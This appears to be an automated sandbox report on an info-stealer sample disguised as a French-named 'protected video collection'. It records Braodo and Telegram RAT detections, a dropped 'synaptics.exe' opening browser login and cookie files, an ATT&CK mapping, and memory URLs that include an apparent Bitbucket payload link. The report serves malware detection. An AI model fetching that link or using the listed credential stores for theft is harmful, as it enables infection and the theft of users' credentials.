Code function: 11_2_0049A377 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

11_2_0049A377

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Code function: 16_2_00007FF6F67F75B4 GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

16_2_00007FF6F67F75B4

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Braodo

Source: Yara match	File source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2910752820.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Source: C:\Windows\SysWOW64\cmd.exe

Directory queried: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents

Jump to behavior

Source: Yara match	File source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Braodo

Source: Yara match	File source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2908178461.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2910752820.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2862262207.000000000455F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2869125595.0000000004590000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2910847719.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	1 Command and Scripting Interpreter	1 Scripting	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	111 Registry Run Keys / Startup Folder	11 Process Injection	1 Modify Registry	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	11 Data from Local System	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	111 Registry Run Keys / Startup Folder	2 Virtualization/Sandbox Evasion	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Disable or Modify Tools	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Access Token Manipulation	LSA Secrets	13 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Process Injection	Cached Domain Credentials	36 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Deobfuscate/Decode Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://t.ly/-kxCO	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner
C:\Users\Public\QExvbmVOb25l\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\libffi-7.dll	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\select.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\__future__.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_aix_support.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_bootsubprocess.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_collections_abc.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_compression.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_markupbase.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_osx_support.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_py_abc.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_pyio.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_sitebuiltins.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_strptime.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_threading_local.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\_weakrefset.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\abc.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\aifc.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\argparse.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ast.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\asynchat.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\asyncore.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\base64.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ctypes\__init__.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ctypes\_aix.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ctypes\_endian.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ctypes\test\__init__.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ctypes\test\__main__.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ctypes\test\test_wintypes.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\ctypes\util.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\curses\__init__.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\curses\ascii.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\curses\panel.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\curses\textpad.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\dataclasses.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\datetime.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\dbm\__init__.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\dbm\dumb.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\dbm\gnu.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\dbm\ndbm.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\difflib.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\dis.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\doctest.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\_encoded_words.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\_header_value_parser.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\_policybase.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\base64mime.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\charset.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\contentmanager.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\encoders.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\errors.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\feedparser.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\generator.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\header.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\headerregistry.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\iterators.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\message.py	0%	ReversingLabs
C:\Users\Public\QExvbmVOb25l\Lib\email\mime\application.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bugs.python.org/msg352381	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanc	0%	Avira URL Cloud	safe
http://bugs.python.org/issue16298)	0%	Avira URL Cloud	safe
https://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html	0%	Avira URL Cloud	safe
https://bugs.python.org/issue39682	0%	Avira URL Cloud	safe
http://code.activestate.com/recipes/259174/	0%	Avira URL Cloud	safe
http://www.cl.cam.ac.uk/~mgk25/ih	0%	Avira URL Cloud	safe
https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_13)	0%	Avira URL Cloud	safe
https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/sit	0%	Avira URL Cloud	safe
http://hg.python.org/cpython/file/7aaba721ebc0/Lib/socket.py#l252	0%	Avira URL Cloud	safe
http://www.pkware.com/documents/casestudies/APPNOTE.TXT	0%	Avira URL Cloud	safe
http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm	0%	Avira URL Cloud	safe
http://bugs.python.org/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue29585	0%	Avira URL Cloud	safe
http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap04.html#tag_04_11	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.drm-x.net/http://cn.drm-x.com/LicPrepare2008.aspxLicPrepare20082013.aspx.drm-x.com/2/%s?c	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2168z(Andrey	synaptics.exe, 00000019.00000003.2771140876.00000000018D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://HDMHDMLoading...%s	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue39682	synaptics.exe, 00000019.00000003.2790722943.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://python.org/dev/peps/pep-0263/	Rar.exe, 00000010.00000003.2641056502.000001B79D8DF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All	reg.exe, 00000018.00000002.2649714380.0000000003080000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2696545715.00000000008E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc2388#section-4.4	synaptics.exe, 00000019.00000003.2817335724.0000000001746000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2793584714.000000000173F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2805490693.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802940588.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2802940588.0000000001745000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2817335724.0000000001716000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2805490693.0000000001746000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.haihaisoft.com/Contact.aspx	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://web.archive.org/web/20200623061726/https://bitbucket.org/pitrou/pathlib/issues/12/	synaptics.exe, 00000019.00000003.2790722943.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/113199	synaptics.exe, 00000019.00000003.2784016095.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://bugs.python.org/issue19619	synaptics.exe, 00000019.00000003.2651931586.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2651887463.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2652698049.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.haihaisoft.com/PDF_Reader_download.aspxhttp://www.drm-x.com/pdfversion.htmMS	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://bugs.python.org/issue5845#msg198636	synaptics.exe, 00000019.00000003.2654188071.0000000000976000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc6	cmd.exe, 0000000C.00000002.2660732909.00000000029E0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aui-cdn.atlassian.com/	synaptics.exe, 00000019.00000003.2746500497.0000000001689000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.haihaisoft.com/Contact.aspx%u%?.Install_DirSoftware	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://bugs.python.org/msg352381	synaptics.exe, 00000019.00000003.2696381715.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2696381715.000000000146F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pyca/pyopenssl/pull/933	synaptics.exe	false		high
https://urllib3.readthedocs.io/en/latest/advanc	synaptics.exe	false	Avira URL Cloud: safe	unknown
http://blog.kowalczyk.info/software/sumatrapdf/translators.htmlThe	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
http://foo.com/	synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	synaptics.exe, 00000019.00000003.2696381715.00000000014B6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2696381715.000000000146F000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2698373345.000000000173F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/3267.	synaptics.exe	false		high
http://tools.ietf.org/html/rfc3986#section-5.2.4	synaptics.exe, 00000019.00000003.2786306523.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2783021414.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784456273.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790722943.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2781673691.0000000001A86000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/pull/7160#discussion_r195405230	synaptics.exe, 00000019.00000003.2721260976.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2719508662.0000000001757000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.flashvidz.tk/Zenonprogram	La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/sit	synaptics.exe, 00000019.00000003.2664991937.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2668951028.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2662452927.00000000008E2000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2666620112.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gist.github.com/4325783	synaptics.exe, 00000019.00000003.2694059005.000000000144D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2694024677.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	synaptics.exe, 00000019.00000003.2797510023.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2816004533.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2786306523.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2817335724.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2785072789.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790609043.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2801095074.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790722943.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2793584714.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2781673691.0000000001AF6000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2787017554.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2782354932.0000000001766000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2805490693.0000000001766000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc3986#appendix-A	synaptics.exe, 00000019.00000003.2684742199.00000000008DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python-hyper/rfc3986	synaptics.exe, 00000019.00000003.2786306523.0000000001A7E000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2801095074.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2816004533.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2804587501.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2783021414.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2784456273.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2790722943.0000000001A8D000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2781673691.0000000001A86000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/	synaptics.exe, 00000019.00000003.2654188071.0000000000976000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/setuptools/issues/417#issuecomment-392298401	synaptics.exe, 00000019.00000003.2662452927.00000000008E2000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000003.2676613589.0000000000976000.00000004.00000020.00020000.00000000.sdmp	false		high
